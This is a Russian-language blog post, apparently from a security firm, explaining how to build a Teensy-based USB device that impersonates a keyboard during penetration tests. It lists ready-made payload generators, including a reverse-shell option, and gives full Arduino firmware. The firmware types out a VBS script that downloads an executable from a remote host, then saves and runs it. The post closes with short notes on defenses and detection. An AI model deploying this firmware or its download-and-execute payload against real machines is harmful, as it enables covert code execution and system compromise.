Боевой HID-эмулятор на Arduino

в 4:19, , рубрики: arduino, HID, teensy, Блог компании «Digital Security», клавиатура, метки: , , , ,

image
За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При поведении внутренних тестов на проникновение, нередко возникает необходимость поверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.

Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест, здесь не все, что выглядит как флешка, флешкой и является.

Железо

В качестве аппаратной платформы будем использовать Teensy USB Development Board а именно Teensy 2.0.
image

  • Поддержка USB
  • Маленькие габариты
  • Небольшая стоимость($16)
  • Совместимость с Arduino

Софт

Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.

Social Engineering Toolkit

Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:

  • Powershell HTTP GET MSF Payload
  • WSCRIPT HTTP GET MSF Payload
  • Powershell based Reverse Shell Payload
  • Internet Explorer/FireFox Beef Jack Payload
  • Go to malicious java site and accept applet Payload
  • Gnome wget Download Payload

На выходе получается файл *.pde, с кодом программы, готовым для компиляции и прошивки.

Kautilya

Как и модуль из SET, представляет собой генератор кода прошивки, но в отличии от вышеупомянутого содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.

Написать код самим

Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например открытие командной строки, реализованное для различных ОС.

Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу а так же десятки полезных примеров.

Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится так же USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией от сервоприводов до GPS приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.

image

Теперь запускаем и выбираем тип платы.

image

Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.

image

Итак, скромный инструментарий готов, и можно приступать к написанию программы.

Let's rock!

Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг указывающий, что один цикл программы уже выполнился

Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }

Для начала, вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.
void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью 1 секунда — значение неоправданно большое для реальных условий, и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).

delay(1000);

Запустим блокнот.

Keyboard.println("notepad");
delay(1000);

Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит, приложение со стороннего сервера.

Keyboard.println("Set xml=CreateObject("Microsoft.XMLHTTP")");
Keyboard.println("xml.Open "GET","http://192.168.1.137/calc."&"exe",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject("Adodb.Stream")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile "C:\payload."&"exe", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject("WScript.Shell")");
Keyboard.println("WshShell.Exec ("C:\payload."&"exe")");

Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\getpayload.vbs");

Как и ранее, Win+R, и запускаем только что созданный скрипт.

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\getpayload.vbs");
complete_flag = 1;
} }

Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.

image

Action!

В заключение, хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые в свою очередь могут быть запрограммированы злоумышленником, и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.

Автор: JRun

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js